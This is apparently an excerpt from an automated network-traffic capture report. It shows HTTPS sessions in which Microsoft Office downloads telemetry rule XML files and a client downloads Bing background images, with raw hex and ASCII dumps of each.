2024-11-28 14:17:27 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:27 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:27 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: c3d74fa2-201e-0003-1d91-3ff85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141727Z-174f7845968l4kp6hC1EWRe8840000000yug000000005csr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:27 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:27 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:27 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 6c824192-201e-0051-0a91-3f7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141727Z-174f7845968l4kp6hC1EWRe8840000000yx000000000085z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:27 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:27 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 14:17:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 14:17:27 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: faa09a65-901e-00ac-8010-41b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T141727Z-174f7845968nxc96hC1EWRspw80000000yd000000000021w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 14:17:27 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	49771	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:28 UTC	375	OUT	GET /th?id=OADD2.10239340418602_13EDNGC3ZL2WGZFXN&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-28 14:17:28 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 407830 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 9B536FAF5F0C4BFB986CEE1BF11DA53A Ref B: EWR311000107039 Ref C: 2024-11-28T14:17:28Z Date: Thu, 28 Nov 2024 14:17:28 GMT Connection: close
2024-11-28 14:17:28 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 32 3a 31 31 20 30 30 3a 35 33 3a 30 35 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 01 04 38 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.1 (Windows)2023:02:11 00:53:058C
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: 00 4e 14 29 3d 64 e7 04 91 81 d3 de af 5d 69 11 c0 d2 5b db db 47 73 26 9d b6 28 22 31 1f 3a 57 66 03 6a 84 ce e2 0f a9 3d 3f 0a e4 75 21 39 ab 46 f6 ed fd 7e 66 8a 9c de e7 41 a1 fc 4b d6 c7 86 df c2 9a 2f 86 b4 fb 1b 6b d8 98 ea d2 9b 73 24 d7 db b0 49 95 98 90 87 3c e1 71 c5 0b 2c af 24 71 de 49 12 49 e4 98 63 3c 10 80 0f 51 9c e0 64 e4 77 ac 37 be b8 b7 d6 de 28 4b 46 cd f3 1b 76 8c ef 56 23 90 57 b1 03 b7 61 52 24 b3 2c 26 d8 db 4a ed b4 9b 6d 8a 19 19 ce 08 dd 9e 55 46 09 ed ce 3d e8 af ed b1 1f 1e df d7 dc 77 61 e1 1a 49 ea 49 65 6d 6f a5 42 d1 69 d0 5d 4b 2d cb 12 6e 65 ff 00 57 cf 46 20 9e 00 e9 d3 93 f8 d1 73 7b 6b 69 7a df 65 c8 52 49 96 77 c0 0e c0 60 91 dc 7e 1d a9 46 a3 63 a9 ea b1 e9 bb fe c3 60 d2 05 1e 6b 11 24 92 93 cb 33 1c 05 03 9e bc Data Ascii: N)=d]i[Gs&("1:Wfj=?u!9F~fAK/ks$I<q,$qIIc<Qdw7(KFvV#WaR$,&JmUF=waIIemoBi]K-neWF s{kizeRIw`~Fc`k$3
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: 77 3d 7b 8a f6 4f 84 be 05 4b 1f 05 44 9a d7 89 6f b4 c9 4d d3 dd 5f 59 d9 6a 81 e6 be 81 c6 f8 a1 94 02 58 1e 41 60 0f cc 38 e3 19 af 37 f1 d5 b7 8d 75 0b 91 e1 4f 11 ea 93 45 a0 4e f2 c5 a2 db c5 a6 2c 92 33 96 06 30 eb 0e c3 b4 6e 27 79 52 15 54 f0 79 35 d5 1a 7c 94 d3 4b 5f bf fe 01 9e ed ab dd 23 32 3d 67 e3 b7 89 6d ef 3f e1 0d f1 2e b0 da 7b db 3c b7 56 d3 ea 48 1b 49 8d a4 61 e4 ca 64 00 89 18 60 ae 36 86 1f 74 57 6d f0 23 e0 e7 88 34 7f 12 0f 14 78 d3 56 fb 46 a5 63 70 c2 dd dc 35 c1 ba 8c 81 96 6f 37 85 04 f7 00 30 c6 2b e7 5d 07 56 97 c0 de 3c 7b bd 3f 50 b0 d4 26 d2 6e 77 25 d5 b3 49 71 6b 74 e8 70 26 c6 00 68 c0 e9 91 9f a6 6b ec 9f 87 9f 11 b4 1d 73 c0 76 7a ce b3 e2 7d 25 6f 5a 11 2d f0 6c db 18 43 13 86 68 df 91 9c 70 17 39 f7 e6 9e 1e 70 Data Ascii: w={OKDoM_YjXA`87uOEN,30n'yRTy5\|K_#2=gm?.{<VHIad`6tWm#4xVFcp5o70+]V<{?P&nw%Iqktp&hksvz}%oZ-lChp9p
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: 52 62 a5 a6 91 ed 45 c0 8c 8c 50 45 3f 02 93 6f b5 17 15 86 62 92 9f 8a 0d 31 0c c0 a4 c5 3c 8a 46 1d e8 01 85 69 a5 7d 6a 4a 4c 50 03 18 52 11 4f c6 39 a0 8e d4 01 1f 4e 94 60 53 f1 48 45 3b 88 8f 06 82 33 4f 22 93 02 98 86 11 48 47 ad 3f 8a 4d be d4 00 c2 29 2a 42 33 4d c7 6a 00 69 1e b4 da 93 02 93 14 0a c3 31 eb 4d c1 a7 e2 8c 50 22 3c 7a 50 45 3e 82 3b 53 b8 11 d3 70 6a 4d be d4 98 a7 70 19 46 05 3a 9b 40 ac 34 8c 51 8c 53 f1 48 46 68 10 c2 29 08 a7 e2 90 8c 50 03 08 a4 22 a4 23 34 d2 3d 68 01 a4 66 9a 46 2a 4c 0a 6e 0d 02 63 70 29 31 4f a4 c5 02 19 8e f4 63 34 ec 1a 08 cd 00 33 14 98 ef 4e c1 a0 8a 00 66 3e 5a 4c 77 a7 91 49 83 40 0c c5 26 05 49 81 4d c7 a5 3b 80 dc 7a 53 70 6a 4a 69 19 a2 e2 1b 8e d4 98 f4 a7 d3 70 69 80 d2 29 08 ef 4f 2b 43 0e d4 Data Ascii: RbEPE?ob1<Fi}jJLPRO9N`SHE;3O"HG?M)B3Mji1MP"<zPE>;SpjMpF:@4QSHFh)P"#4=hfFLncp)1Oc43Nf>ZLwI@&IM;zSpjJipi)O+C
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: f5 2b cb 1d 46 d2 e9 21 b5 69 6e 44 92 83 34 4a fb 40 31 93 c3 73 e9 cf 3e d5 ce 68 ba ad a4 ba 3d d3 ea 8f f6 7b 78 c2 15 8c 33 39 79 80 20 28 eb 8c 28 eb db 35 2d ce 97 0e a9 f6 bb a6 9a 1b 5b eb 99 84 b3 b4 b2 a4 71 02 c7 21 42 a0 01 41 3d 80 c0 fc 2b 3b c4 5e 14 93 48 41 2c d7 d0 bb 79 60 b9 75 21 7c c6 38 c2 7f 78 63 f8 b1 8a ea 8c 69 af 72 e7 2d 49 55 6d 4e c6 a6 9f e2 b8 2d e3 43 6f 6c 06 01 7b 99 56 43 b9 49 23 0b c7 de 2d d3 8f 5f ad 60 5c f8 9f 50 fb 51 92 52 a8 4b 07 58 91 41 db 8e 42 f3 9c 7d 7a 8a c8 85 ee 09 78 5d c4 48 84 33 8c 73 91 e8 07 7a 2d e3 49 ef 8a 84 38 62 48 2c 79 23 fa 57 44 68 c2 2d e8 73 ca b4 e4 92 b9 0d f5 c5 c5 e5 c4 f7 b7 32 34 93 4c e5 9d dc 96 66 24 f3 cd 4f a6 db ce bb 2e 22 23 72 92 db 41 19 18 f5 06 a1 bc 9b 73 f9 6a Data Ascii: +F!inD4J@1s>h={x39y ((5-[q!BA=+;^HA,y`u!\|8xcir-IUmN-Col{VCI#-_`\PQRKXAB}zx]H3sz-I8bH,y#WDh-s24Lf$O."#rAsj
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: 15 bf f5 f3 f9 9b cb 17 3a c9 29 0f b6 8b 56 1a 0d ca 18 95 ae 95 95 2d 9e 0b 85 fd d0 c7 ce b2 27 24 82 31 d0 64 11 4f 5b 68 2c 63 b2 b6 3a 70 b9 6d 44 07 dc 9c 65 49 00 80 c7 9c 92 39 39 e4 1a a9 25 94 d6 31 ca 92 3a c6 f7 07 73 18 57 f7 8e 4f 55 07 d0 1f 5f 5a 9e 0b 49 b4 c9 12 ed 24 8e ea 3b 72 8c c8 09 66 46 04 12 b9 3d c7 4c 8e bf 85 6d 74 f6 7a 19 2e 65 2b d8 d9 f1 64 1a 25 8e b5 04 c6 c9 66 89 0f 97 61 a7 cb 09 31 4c a1 70 5d 88 20 b1 69 0e 00 1c e4 7e 15 07 85 ed 22 91 f4 d7 4d 0a 27 b8 37 af 6f 2b 18 4c a9 30 09 92 b9 ce 15 94 82 00 e3 03 d7 15 3e a8 fa be a3 7d 65 ab 4b e4 c9 71 1c 82 5b 61 20 0e a1 55 83 20 0a c4 15 e4 75 20 66 b3 ad 75 7d 42 d6 49 b5 83 fb cb 68 35 04 bd 9a d1 64 0a 8d 2b b3 03 c0 e7 24 e7 81 d0 13 4a 9a 6a 29 5e ef d4 de 72 Data Ascii: :)V-'$1dO[h,c:pmDeI99%1:sWOU_ZI$;rfF=Lmtz.e+d%fa1Lp] i~"M'7o+L0>}eKq[a U u fu}BIh5d+$Jj)^r
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: 58 9c ff 00 8d 7d 05 f0 8b c1 f6 fa 7d 8e a3 e2 8d 7e c2 39 ec 60 b4 76 11 5c c2 c8 4c a5 95 43 95 39 2a 00 1c 03 cf 3f 4a d8 f8 89 a8 bc ba 39 83 44 bd 85 03 c0 92 cc a2 dc 0d e4 c9 80 02 8e 01 00 63 3d 06 0d 79 f3 cc 23 46 7c bc ba 75 2d e5 fc f1 e6 72 77 39 18 9f c2 9a 26 92 ba 75 91 37 ba 84 ab b9 a3 8a e0 f9 76 f3 3a a8 75 6e 30 57 38 04 8e 32 3a 90 29 3f e1 23 d4 05 d7 f6 7e 92 96 b7 56 73 5b 19 84 b7 8b b0 45 b0 07 3b 00 cb 15 5d a4 e5 b1 da b9 eb 4d 46 3b ad 79 96 6d d6 e8 a1 12 52 62 25 5b e6 39 de 01 c8 00 f3 8c 8c 7b 56 4e a1 e3 1b 2b 47 68 ad 74 a5 b9 9e 48 4c 13 10 e7 13 86 20 61 d4 1c 60 81 d3 24 e3 1f 4a e6 f6 32 96 89 5f fa f9 1a 4f 13 18 af 8a c6 5f 8b 35 14 d5 b4 db 98 61 9e d5 c2 dc 82 44 a4 a9 9c b1 27 72 f2 42 e3 a0 1d 71 cd 73 77 1a Data Ascii: X}}~9`v\LC9*?J9Dc=y#F\|u-rw9&u7v:un0W82:)?#~Vs[E;]MF;ymRb%[9{VN+GhtHL a`$J2_O_5aD'rBqsw
2024-11-28 14:17:29 UTC	16067	IN	Data Raw: b7 8e 2d c8 ca cb 24 27 0a e7 1c e7 a1 07 d4 9e f5 a5 39 2e 66 ac 73 d4 a7 7d b7 3f 6e 68 a3 06 8c 1a 40 14 51 45 00 14 da 75 14 00 da 29 d4 50 3b 8d a2 9d 81 48 45 01 71 28 a3 06 86 eb 40 c2 8a 28 a0 02 8a 30 68 a0 02 8a 31 de 8a 00 28 a2 8a 00 30 29 31 4b 45 00 26 29 30 69 d4 50 03 68 a7 60 52 62 80 12 8a 28 a7 71 dc 28 a2 8a 2e 17 0a 28 c7 a5 2e 29 85 c4 a2 8c 1a 30 68 0b 86 05 18 14 60 d1 40 5c 30 29 31 4b 45 01 71 31 49 83 4e a2 9d c2 e3 68 a7 60 51 81 4e e3 1b 45 3b 02 90 8a 2e 02 51 4b 8a 4c 1a 00 30 29 31 4b 83 45 00 26 29 29 d4 50 3b 8d a3 06 9d 81 46 05 01 71 b4 11 9a 5c 51 8a 06 37 14 62 96 8a 00 6d 14 ea 30 29 dc 06 e0 52 62 97 06 8a 2e 03 70 68 a7 11 9a 31 e9 4c 77 1b 81 48 45 3b 14 98 34 0e e3 70 68 a7 11 43 74 a0 77 1a 45 26 29 d8 a4 a0 63 Data Ascii: -$'9.fs}?nh@QEu)P;HEq(@(0h1(0)1KE&)0iPh`Rb(q(.(.)0h`@\0)1KEq1INh`QNE;.QKL0)1KE&))P;Fq\Q7bm0)Rb.ph1LwHE;4phCtwE&)c
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: f5 38 cf 4f af 1c 54 4b 05 f5 92 ad fa 06 68 1d 9d 56 45 e0 f4 19 ce 79 c1 0c 39 c7 34 e1 3e 1a 56 b8 58 98 4b 93 07 f0 ae ee ec 47 52 00 ed df 8f 7a ea 3c 29 65 61 7b e1 d9 f5 7b dd 5f 4b 8d 60 f9 4d a5 e4 ac 1a 78 8f ca 63 2a b8 60 c0 e1 d4 e7 07 f5 ae 87 2e 55 7b 19 42 9a 9b b2 7a 90 8f ed 6d 57 c3 cd 0d a5 96 99 a7 c7 63 30 92 e2 f2 30 52 e0 b7 96 14 31 6c 82 03 2b 0f 94 0c 1e be a6 a0 b8 d4 67 1a 24 5a 2d aa 2a 47 66 aa 2f 64 b4 cb 09 d0 b0 21 98 12 54 38 24 0d df 4f 5a 65 f5 d5 fe af ab 49 61 11 8d 56 ee 48 ed a0 9e 58 c6 f5 58 c6 c0 18 26 42 9c 1e 4f 40 7d 30 6b 7f c3 6e fe 1a f0 fd dc d6 69 2d fb 5d 09 34 bb d9 e2 82 39 21 b0 91 4e e1 b2 4c ed 97 20 6e 18 3c 0f 5e 95 84 a4 d2 34 7a ca c9 bb 75 7f d7 c8 82 1b 9f f8 44 bc 47 6a 92 dd fd 83 ee 4b e6 Data Ascii: 8OTKhVEy94>VXKGRz<)ea{{_K`Mxc`.U{BzmWc00R1l+g$Z-Gf/d!T8$OZeIaVHXX&BO@}0kni-]49!NL n<^4zuDGjK
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: ea a3 06 08 fc 80 d9 ea de b5 a1 34 57 13 2a f9 1b 8a 5d 4a 15 c8 20 b6 ee b9 38 e0 01 d6 a2 bd 8a 2b 37 8a de 28 9a 60 9f 33 b0 04 12 0f 40 41 e9 8c e3 1c d6 cf 86 a4 b7 b6 91 64 88 f9 ca 08 51 12 9f 99 4e 49 00 8e a4 82 3e a7 26 b6 9c d2 8d d2 39 69 c6 ef 95 b2 a4 3a 6a 58 07 d3 e5 71 3b 4d 37 97 2c ef 1e 12 2e 72 14 93 d7 3d 38 ed 5a 1a 82 59 da 58 35 c2 cb 24 a1 a3 58 ed 81 88 6d 54 04 8e fd 0e 7d 85 58 d4 9d 2c b4 e6 bb bd 91 65 12 02 ea b8 2c 65 27 aa 80 39 e0 f5 24 f0 2b 2f 45 92 eb 56 98 c1 3a c9 9b b5 2f 1c b2 64 c7 19 e7 90 07 ca 06 38 00 f4 c1 ae 7e 69 54 5c cd e8 8d 1a 51 f7 56 ec c7 bf b8 1a 86 a1 14 29 6f 22 47 14 21 11 36 e0 24 4a 32 5b 1d 49 ef d7 9a e8 2d ee 92 18 63 69 71 72 c1 4c f6 a8 e7 6f ca 78 52 c3 b9 38 07 07 f5 cd 61 ea 2d 69 a7 Data Ascii: 4W*]J 8+7(`3@AdQNI>&9i:jXq;M7,.r=8ZYX5$XmT}X,e,e'9$+/EV:/d8~iT\QV)o"G!6$J2[I-ciqrLoxR8a-i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	49770	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 14:17:28 UTC	375	OUT	GET /th?id=OADD2.10239340418589_1A7GR0X7EOYKFPJ56&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-28 14:17:28 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 592830 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 629908A48C2240E08C10D08D78B680CD Ref B: EWR30EDGE0409 Ref C: 2024-11-28T14:17:28Z Date: Thu, 28 Nov 2024 14:17:27 GMT Connection: close
2024-11-28 14:17:28 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 16 68 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 32 3a 31 31 20 30 30 3a 31 34 3a 31 34 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``hExifMM*bj(1r2i``Adobe Photoshop 24.1 (Windows)2023:02:11 00:14:148
2024-11-28 14:17:29 UTC	16384	IN	Data Raw: b6 8c f5 f9 ab ea 0d 27 59 96 d6 0b 4d 49 a3 dc be 4a ef 48 67 f3 76 67 ee d7 9d 7c 46 d5 34 5d 53 7e a1 e5 c6 ba d7 93 b6 e2 d2 6f f9 7d b7 0d f7 7f df 1d ab 7c aa 15 e8 f3 38 41 38 36 be 4f 66 60 a4 a3 cc d6 ce c9 f6 e8 78 96 83 a8 6b 91 48 f6 33 47 25 c4 2b b7 e7 44 dd ff 00 7d 7d 2b d3 fe 11 da 69 da c4 1a 9d 9d e5 dd ad bd c5 ad c7 9a 8f 37 de ff 00 80 e3 8a c1 b3 8f 4f d3 7c 63 7d a9 78 76 49 ee ac 55 e3 df 6e ef fb ad a5 7e e3 35 75 fe 32 f0 9d b4 5e 03 b7 f1 b6 87 07 d9 56 29 99 ae ed 37 ff 00 ae f9 7e fe 7d ba 62 bd ba d2 9b ab ec f6 f3 3a 62 de b6 d3 4d fb 8d d2 65 fb 67 86 2e 3e d1 e6 79 8b 71 22 a2 7f 72 3f bb 5d 14 da 54 5a 6f 84 74 c9 3c c4 89 ad e6 8e 5d 8f ed f7 7f 3a e2 fc 2b aa db 5c 78 d2 c6 de 4f 31 6d 6e 2c 7e 4f ee bb 77 c5 7a 07 8f Data Ascii: 